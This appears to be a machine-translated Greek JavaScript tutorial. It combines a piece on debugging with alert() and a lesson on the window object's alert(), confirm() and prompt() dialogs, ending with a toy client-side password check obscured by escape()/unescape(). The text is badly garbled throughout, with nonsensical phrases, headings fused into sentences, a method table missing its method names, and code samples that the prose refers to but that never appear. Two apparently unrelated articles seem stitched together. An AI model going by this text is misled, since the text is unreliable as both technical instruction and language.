Ένας σπάνιος προγραμματιστής έχει επίγνωση αυτής της περίστασης και διενεργεί επίπονη μακρά διόρθωση σφαλμάτων στον ιστότοπό του στην πλευρά του πελάτη. Ταυτόχρονα, λίγοι προγραμματιστές δεν γνωρίζουν: είναι συχνά τόσο δύσκολο να βρεθεί ένα σφάλμα στον πελάτη, δηλαδή στο πρόγραμμα περιήγησης, ώστε:
- Ώρες πολύτιμου χρόνου χάνονται.
- ξοδεύονται απίστευτοι μετασχηματισμοί κώδικα.
- πολλά σενάρια είναι φτυαρισμένα, με λόγια, τόσο το πρόγραμμα περιήγησης όσο και ο διακομιστής το καταλαβαίνουν.
Και δεν υπάρχει αποτέλεσμα. Ούτε τα προγράμματα εντοπισμού σφαλμάτων βοηθούν, ούτε οι λέξεις, ούτε τα εργαλεία εντοπισμού σφαλμάτων που είναι ενσωματωμένα σε κάθε πρόγραμμα περιήγησης. Εν τω μεταξύ, το στήθος ανοίγει πάντα - το σωστό κλειδί είναι σημαντικό.
Ένας απλός κανόνας σωστού κώδικαΠρώτα απ 'όλα, τα cookies έχουν γίνει το πιο απαιτητικό στοιχείο ενός σύγχρονου ιστότοπου. Δεν πρέπει ποτέ να ξεχνάτε:
- Ειδοποίηση JavaScript & cookie εγγράφων
- "εδώ και τώρα" & "καθόλου ή κάποια μέρα".
Τα cookies είναι μια ωραία δυνατότητα που πρέπει να θυμάστε στα βάθη του προγράμματος περιήγησης για κάθε πελάτη, αλλά δεν πρέπει να δίνετε σημασία σε αυτό στην τρέχουσα περίοδο λειτουργίας. Κύριο μέλημα των cookies είναι να παραμείνει στη «μνήμη» του προγράμματος περιήγησης στο περιεχόμενο που είχε τη στιγμή που έφυγε ο επισκέπτης.
Από όλες τις άλλες απόψεις, ο κώδικας σεναρίου στα έγκατα του προγράμματος περιήγησης εξαρτάται μόνο από τον εαυτό του και τα συμβάντα που επεξεργάζεται.
Σε αυτό το πλαίσιο, και αυτό το πλαίσιο είναι ιδανικό εδώ, ο κώδικας δεν μπορεί να μην λειτουργεί εάν είναι γραμμένος σωστά. Αυτός είναι ο ιδανικός κανόνας για σωστό κώδικα. Εάν το πρόγραμμα περιήγησης εμφανίζει μια κενή οθόνη ή κάνει κάτι λάθος, υπάρχει λόγος να υποθέσουμε ότι υπάρχει σφάλμα.
Πιο εύκολο στην εφαρμογή:
- Ειδοποίηση JavaScript ("Όλα ήταν καλά μέχρι στιγμής!").
Το καλύτερο πρόγραμμα εντοπισμού σφαλμάτων ή εντοπισμού σφαλμάτων είναι ένα γεγονός που πρέπει να συμβεί αλλά δεν συμβαίνει.
Μετακινώντας αυτήν την κατασκευή από το μηδέν σε ένα ενοχλητικό έγκλημα στον κώδικα, μπορείτε να βρείτε το μέρος μετά το οποίο δεν λειτουργεί. Το σφάλμα θα βρεθεί. Το JavaScript alert() είναι τροπικό παράθυρο. Δεν μπορεί να παρακαμφθεί με κανέναν τρόπο και τίποτα δεν θα συμβεί έως ότου ο προγραμματιστής / επισκέπτης κλείσει αυτό το παράθυρο.
Εάν το παράθυρο δεν εμφανιστεί, τότε είτε υποδεικνύεται λανθασμένα στον κωδικό είτε οτιδήποτε εμφανίζεται πριν περιέχει σφάλμα.
Δύσκολη κατάσταση όπου η ειδοποίηση JavaScript δεν φαίνεται να λειτουργείΑυτό αφορά κυρίως αλγόριθμους AJAX για την ανταλλαγή πληροφοριών με τον διακομιστή. Δεν είναι πάντα αποδεκτή η χρήση κλασικών εργαλείων εντοπισμού σφαλμάτων εδώ και όταν η πλευρά του πελάτη πολυεπίπεδο σύστημααντικείμενα, τότε ο εντοπισμός σφαλμάτων γενικά μετατρέπεται στο μυαλό του προγραμματιστή και κανένα πρόγραμμα εντοπισμού σφαλμάτων δεν μπορεί να βοηθήσει.
Η καλύτερη επιλογή για μια ειδοποίηση στη διαδικασία επικοινωνίας με τον διακομιστή είναι ένα div (div), στο οποίο τοποθετείται το πρωτόκολλο για την επικοινωνία με τον διακομιστή χρησιμοποιώντας τη μέθοδο innerHTML - θα είναι πάντα σαφές σε ποιο στάδιο παρουσιάζεται το πρόβλημα.
Το στατικό div που είναι πάντα ορατό στη σελίδα δεν είναι ένας τρόπος ειδοποίησης JavaScript. Το παράθυρο μπορεί να μην εμφανίζεται και μπορεί να υπάρχουν πολλοί λόγοι για αυτό και είναι συντακτικά σωστοί. Η γλώσσα του προγράμματος περιήγησης έχει μια εξαιρετικά ήρεμη διάθεση και δεν θα προβεί ποτέ σε καμία ενέργεια εάν δεν έχει αναλύσει και κατανοήσει κάτι.
Η στατική φύση οποιουδήποτε Ετικέτα HTMLείναι ένας καλός παράγοντας. Αφαιρέστε όλο τον κώδικα και προσθέστε τον τμηματικά μέχρι να εμφανιστεί ξανά το σφάλμα - όχι το καλύτερο γρήγορη τεχνολογίαγια αποσφαλμάτωση. Το να γράφεις σωστά είναι δημοφιλής συμβουλή, σε ζήτηση, αλλά όχι πρακτική.
Η γλώσσα του προγράμματος περιήγησης βασίζεται σε συμβάντα, το κύριο μέλημά του δεν είναι ο διαδοχικός κώδικας, αλλά η εκτέλεση λειτουργιών που έχουν εκχωρηθεί σε ετικέτες σελίδας και ο χειρισμός συμβάντων.
Πρόσθετος κανόνας σε έναν απλό κανόναΕάν το παράθυρο από την ειδοποίηση JavaScript ("Μέχρι στιγμής όλα είναι γραμμένα σωστά") δεν εμφανίστηκε στο πρόγραμμα περιήγησης, σημαίνει ότι η σύνταξη μέχρι το σημείο όπου γράφεται αυτή η κατασκευή δεν προκαλεί αμφιβολίες στο πρόγραμμα περιήγησης και εκτελείται σωστά.
Λογική μοντέρνΤα γράμματα έχουν ένα σημαντικό μειονέκτημα. Όλα τα αρχεία σελίδας συγχωνεύονται μαζί (με την ουσία και τους τύπους τους) σε ένα σύνολο και μετά δημιουργείται το DOM. Η σειρά με την οποία συνδέονται τα αρχεία είναι συχνά σημαντική.
Είναι καλύτερο όταν ο προγραμματιστής δεν αποδίδει σημασία στην αρχή του συμβάντος της οργάνωσης της εκτέλεσης των λειτουργιών που έχουν ανατεθεί σε συμβάντα, αλλά τακτοποιεί όλες τις λειτουργίες με τη σειρά της εφαρμογής τους και την ανάθεση σε ετικέτες σελίδας και συμβάντα.
Η τάξη είναι πάντα το πιο σημαντικό. Η JavaScript θα καταλάβει τα υπόλοιπα από μόνη της: τι και πότε να καλέσει. Ο σύγχρονος προγραμματισμός γενικά και στο πλαίσιο οποιασδήποτε μεθόδου, οποιασδήποτε εξαιρετικά οργανωμένης αντικειμενοστρεφούς προσέγγισης ειδικότερα, είναι πάντα συνεπής. συνδυάζονται πάντα διαδοχικά όπως περιγράφονται.
Αν κάτι δεν συμβεί, σημαίνει: όχι κάπου κάτι δεν πάει καλά, αλλά μόνο μπροστά σε αυτό το μέρος.
- Μέθοδοι αντικειμένων παραθύρου.
- Μέθοδος alert(): σύντομη περίληψη.
- μέθοδος επιβεβαίωσης () - γράψτε γράμματα.
- μέθοδος prompt() - ας γνωριστούμε, είμαι ο Stirlitz.
Έτσι, τα αντικείμενα του προγράμματος περιήγησης. Και πρώτα απ 'όλα - το παλαιότερο από αυτά, το αντικείμενο του παραθύρου.
Εδώ είναι οι κύριες μέθοδοι του αντικειμένου παραθύρου (υπάρχουν και άλλες εκτός από αυτές, αλλά είναι ελάχιστα χρήσιμες, και για να μην γεμίσει τον εγκέφαλο με περιττές πληροφορίες, θα τις αναβάλω μέχρι την τρίτη σειρά).
Μέθοδος |
Περιγραφή |
Άνοιγμα και κλείσιμο των παραθύρων του προγράμματος περιήγησης. είναι δυνατό να προσδιοριστεί το μέγεθος του παραθύρου, τα περιεχόμενά του, καθώς και η παρουσία πληκτρολόγιο, πεδία διεύθυνσης και άλλα χαρακτηριστικά. |
|
Εμφάνιση πλαισίου διαλόγου συναγερμού με αντίστοιχο μήνυμα. |
|
Εμφάνιση ενός πλαισίου διαλόγου επιβεβαίωσης με τα κουμπιά "OK" και "Cancel". |
|
Εμφάνιση ενός παραθύρου διαλόγου με ένα πεδίο εισαγωγής κειμένου. |
|
Ρύθμιση ή κατάργηση εστίασης για ένα παράθυρο. |
|
Μετακινεί τα περιεχόμενα ενός παραθύρου σε ένα συγκεκριμένο σημείο. |
|
Ρύθμιση του χρονικού διαστήματος μεταξύ κλήσης συνάρτησης και αξιολόγησης έκφρασης. |
|
Ρύθμιση ενός χρονικού διαστήματος πριν από μια κλήση συνάρτησης ή αξιολόγηση έκφρασης. |
Γνωρίζουμε ήδη ότι το παράθυρο συχνά υπονοείται αλλά δεν γράφεται.
Κλήση διαφόρων πλαισίων διαλόγουΤα πλαίσια διαλόγου χρησιμοποιούνται σε προγράμματα για την αλληλεπίδραση με τον χρήστη.
μέθοδος alert().
Το αναλύσαμε στην αρχή των σπουδών μας. Δημιουργεί ένα απλό παράθυρο διαλόγου με ένα μήνυμα και ένα κουμπί ΟΚ. Όλη η αλληλεπίδρασή του περιορίζεται στο γεγονός ότι ο χρήστης, πατώντας αυτό το μόνο κουμπί, μπορεί να στείλει αυτό το παράθυρο κάπου μακριά (και ευχαριστώ για αυτό).
μέθοδο επιβεβαίωσης().
Η μέθοδος επιβεβαίωσης() επιτρέπει ήδη στον χρήστη να λάβει την απλούστερη "λογική" απόφαση: να πει "ναι" ή "όχι".
Για παράδειγμα, κάντε κλικ σε αυτό το κουμπί:
Συγγνώμη για τη μικρή φάρσα. Ελπίζω να γνωρίζετε πώς να χρησιμοποιείτε το κουμπί πίσω.
Πώς είναι όλα τακτοποιημένα; Είδατε φυσικά ότι έχω αυτή τη μέθοδο σε συνδυασμό με ειδοποιήσεις. Και αυτό γίνεται με τη βοήθεια μιας συνάρτησης που εισάγεται στο .
Η μέθοδος επιστρέφει δύο τιμές: true (αν είναι ΟΚ) και false (εάν ακυρωθεί).
Εάν οριστεί σε true , το στέλνουμε στην κατάλληλη σελίδα (την ιδιότητα href του αντικειμένου τοποθεσίας) και εκπέμπουμε την κατάλληλη ειδοποίηση() . Διαφορετικά (δηλαδή false ) απλά βγάζουμε μια άλλη ειδοποίηση() .
Και στο κουμπί καλούμε τη συνάρτηση στο συμβάν onClick:
Στη συνέχεια, πρέπει να καλέσετε αυτήν τη συνάρτηση από το πρόγραμμα χειρισμού συμβάντων onSubmit της ετικέτας, για παράδειγμα:
Εδώ, για παράδειγμα, μπορείς να μου γράψεις στο «σαπούνι» ό,τι σκέφτεσαι για τα μαθήματά μου. Εάν ξαφνικά ενθουσιαστήκατε και πατήσατε το κουμπί και μετά έγινε κάπως άβολο, θα εμφανιστεί ένα παράθυρο διαλόγου και θα σας ξεσηκώσει.
Εάν κάνετε αναδυόμενα παράθυρα, είναι καλή πρακτική να προειδοποιήσετε τον χρήστη και να του δώσετε την επιλογή να ανοίξει το παράθυρο ή όχι. Για να το κάνετε αυτό, πριν φορτώσετε το παράθυρο, πρέπει να απελευθερώσετε το "parliamenter" - το παράθυρο διαλόγου επιβεβαίωσης(). Εδώ η συνάρτηση καλείται από . Θα μιλήσουμε για αυτό πολύ σύντομα όταν προχωρήσουμε στη δημιουργία παραθύρων με τη μέθοδο open().
μέθοδος prompt().
Αυτή η μέθοδος ζητά ήδη από τον χρήστη συγκεκριμένα δεδομένα. Εμφανίζεται ένα πλαίσιο διαλόγου με ένα πεδίο εισαγωγής. Η μέθοδος επιστρέφει τα δεδομένα που εισήγαγε ο χρήστης σε αυτό το πεδίο και επιτρέπει στο πρόγραμμα να εργαστεί με αυτά τα δεδομένα.
Η μέθοδος prompt() έχει δύο ορίσματα: μια ερώτηση (που εμφανίζεται πάνω από το πεδίο εισαγωγής) και μια απάντηση (το κείμενο στο πεδίο εισαγωγής):
Εάν θέλετε το πεδίο εισαγωγής να εμφανίζεται καθαρό, βάλτε κενά εισαγωγικά ως δεύτερο όρισμα:
| προτροπή(" κείμενο ερώτησης","") |
Ας το δούμε στην πράξη. Πατήστε το κουμπί, μην φοβάστε.
Έτσι, εισαγάγατε (ή δεν εισαγάγατε) δεδομένα και λάβατε μια απάντηση από τον υπολογιστή με βάση αυτά τα δεδομένα (ή την έλλειψή τους).
Εδώ είναι μια απλή έκδοση αυτής της λειτουργίας:
Την ιδιότητα innerHTML, η οποία σας επιτρέπει να ελέγχετε τα περιεχόμενα της ετικέτας, γνωρίσαμε στο Μάθημα 10, όταν προγραμματίσαμε τους τίτλους κάτω από τις εικόνες.
Και εδώ είναι ο κωδικός για το κουμπί και η κενή παράγραφος για τον χαιρετισμό.
|
|
Αλλά αν αποδειχθείς ότι είσαι ο συνονόματός μου, είδατε ότι η συνάρτηση αντέδρασε και σε αυτό.
Πώς να το κάνετε αυτό στην "πρόχειρη" έκδοση, μπορείτε ήδη να μαντέψετε μόνοι σας. Πρέπει να ελέγξετε τη μεταβλητή user_name όχι μόνο για κενά εισαγωγικά, αλλά και για " Αντρέι", και φωλιάστε ένα άλλο αν με το κατάλληλο κείμενο (μπορείτε να εξασκηθείτε μόνοι σας).
Αλλά αν πληκτρολογήσετε " Αντρέι", "Andryusha", "Andryushka", "Andryukha", "Andreyka", "Αντρέι Ιβάνοβιτς", κ.λπ., τότε το αποτέλεσμα θα είναι παρόμοιο, αν και δεν πέρασα ρητά όλες αυτές τις τιμές, αλλά κατάφερα μόνο πέντε γραμμές: " Αντρέ", "Ανδρέας", "Ανδρέας", "Αντρέιτσε" Και " Αντρέιτσου"(οι τρεις τελευταίοι - για να αποκλειστούν οι Andreev, Andreichenko και Andreichuk από τους συνονόματους, διατηρώντας παράλληλα τον Andreichik στους συνονόματους).
Δηλαδή, μπορείτε να μαντέψετε ότι η συνάρτηση ελέγχει τη μεταβλητή user_name για τους πρώτους 5, 6 ή 8 χαρακτήρες.
Αλλά θα μιλήσουμε για αυτό λίγο αργότερα, όταν θα προχωρήσουμε στα αντικείμενα χορδών και στις μεθόδους τους. Θέλω απλώς να φανταστείτε εκ των προτέρων τις εργασίες που πρέπει να λύσουμε (ιδιαίτερα, κάθε είδους διαχωρισμός χορδών σε υποχορδές). Τότε οι ίδιες οι αποφάσεις θα φαίνονται πιο ξεκάθαρες. Αν όμως δεν μπορείτε να περιμένετε, μπορείτε να «αντιγράψετε» τη συνάρτηση από τον κωδικό και να την «κόψετε σαν παξιμάδι». Για τους περίεργους, έγραψα ένα σχόλιο εκεί.
Η μέθοδος prompt() μπορεί επίσης να χρησιμοποιηθεί για την εισαγωγή ενός κωδικού πρόσβασης.
Αυτό δεν είναι το τέλος του μαθήματος!
Ας «παίξουμε κατάσκοπος» λίγο για να ολοκληρώσουμε την ανάγνωση αυτού του κεφαλαίου. Πρώτα, δοκιμάστε να πατήσετε το κουμπί και να πληκτρολογήσετε κάτι.
Α, αυτό είναι! Αλλά κοίτα, υπάρχει ένα άλλο κουμπί! Ελα...
Κωδικός πρόσβασης:
Πατήστε ξανά το πρώτο κουμπί και πληκτρολογήστε τον σωστό κωδικό πρόσβασης.
Όλη αυτή η διασκέδαση, ίσως, έχει αποτέλεσμα, αλλά στην πραγματικότητα ο κωδικός μπορεί να βρεθεί πατώντας δεξί κουμπίκαι κοιτάζοντάς το σε κώδικα. Κάποιοι μπορεί αφελώς να πιστεύουν ότι αρκεί να βάλουμε τον κώδικα σε ένα ξεχωριστό αρχείο .js. Αλλά στον κώδικα της σελίδας θα υπάρχει ένας σύνδεσμος προς αυτό το αρχείο με τη διεύθυνση. Και αν το καλέσετε γραμμή διεύθυνσης, τότε θα ανοίξει ένα αρχείο με κώδικα JavaScript :)
Είναι δυνατή η κρυπτογράφηση του κωδικού πρόσβασης σε κώδικα; Μπορείτε, αλλά αυτό απαιτεί και πάλι χειρισμό συμβολοσειράς μαζί με τη χρήση ορισμένων μαθηματικών μεθόδων. Όταν φτάσουμε σε όλα αυτά, θα μελετήσουμε επίσης το σενάριο του «πραγματικού» κωδικού πρόσβασης. Αλλά η τεχνική αλληλεπίδρασης χρήστη θα εξακολουθεί να είναι η ίδια: η μέθοδος prompt(). (Είναι δυνατόν να "σπάσετε" έναν κρυπτογραφημένο κωδικό πρόσβασης; Αλίμονο, δεν υπάρχει όριο στην τελειότητα των χάκερ ...)
Με τον ίδιο τρόπο που «πιάσαμε» το όνομα ή την απουσία του, θα πιάσουμε τον κωδικό πρόσβασης με τη συνάρτηση.
Εάν εισάγετε λανθασμένο κωδικό πρόσβασης ή δεν εισάγετε τίποτα, η γραμμή
document.getElementById("no").style.display = "block"
ανοίγει το μπλοκ με το δεύτερο κουμπί
Και εάν εισαχθεί ο σωστός κωδικός πρόσβασης, η ενέργεια μεταφέρεται στη συμβολοσειρά
document.getElementById("yes").style.display = "block" ,
που ανοίγει το επόμενο μπλοκ
Σταμάτα, τι είναι αυτά τα kryakozubry; Αυτή είναι μια απλή κρυπτογράφηση, θα σας εξηγήσω σύντομα.
Εν τω μεταξύ, δίνω τον κωδικό αυτών των μπλοκ (για λόγους σαφήνειας, παραλείπω τον πίνακα με τα πλαίσια, τον οποίο έχω εσωκλείσει στο τελευταίο μπλοκ):
|
Α, αυτό είναι! Αλλά κοίτα, υπάρχει ένα άλλο κουμπί! Ελα... Κωδικός πρόσβασης: Πατήστε ξανά το πρώτο κουμπί και πληκτρολογήστε τον σωστό κωδικό πρόσβασης. Τώρα διαβάζουμε περαιτέρω. . . . . . . . . . . |
Λοιπόν, σχετικά με την κρυπτογράφηση. Είναι πολύ άθλια. Οποιος, γνωρίζοντας λειτουργίεςΤο escape() και το unescape() θα το σπάσουν αμέσως.
Η συνάρτηση escape("enter string here") μετατρέπει τους χαρακτήρες στις δεκαεξαδικές τιμές τους.
Η συνάρτηση unescape ("insert quack-aurochs here") κάνει το αντίθετο.
Για να κρυπτογραφήσετε τον κωδικό πρόσβασης με αυτόν τον τρόπο, πρέπει να τον εκτελέσετε μέσω του escape() στο σπίτι, να αντιγράψετε το αποτέλεσμα και να το επικολλήσετε στο unescape() . Αλλά αυτό, επαναλαμβάνω, δεν είναι σοβαρό.
Λοιπόν, για πλήρες σετ- λειτουργία για το δεύτερο κουμπί:
Στο πρότυπο εξόδου παράθυρα διαλόγουΗ JavaScript έχει μόνο τρεις μεθόδους που μάθαμε σήμερα. Αν και αυτές οι μέθοδοι δεν συμβαίνουν πολύ συχνά, η δυνατότητα χρήσης τους με σιγουριά είναι εξαιρετικά χρήσιμη. Είναι απλά, αλλά ταυτόχρονα παραπέμπουν, ας πούμε, σε «καθαρό» προγραμματισμό. Είναι πολύ καλά για να σας γεμίσουν το χέρι στο mastering μιας γλώσσας προγραμματισμού. Και σας συμβουλεύω να πειραματιστείτε μαζί τους με κάθε δυνατό τρόπο, έστω και άσκοπα από πραγματιστική άποψη. καλός προγραμματισμός- αυτό είναι ένα συναρπαστικό παιχνίδι, όπως, πράγματι, κάθε δημιουργικότητα.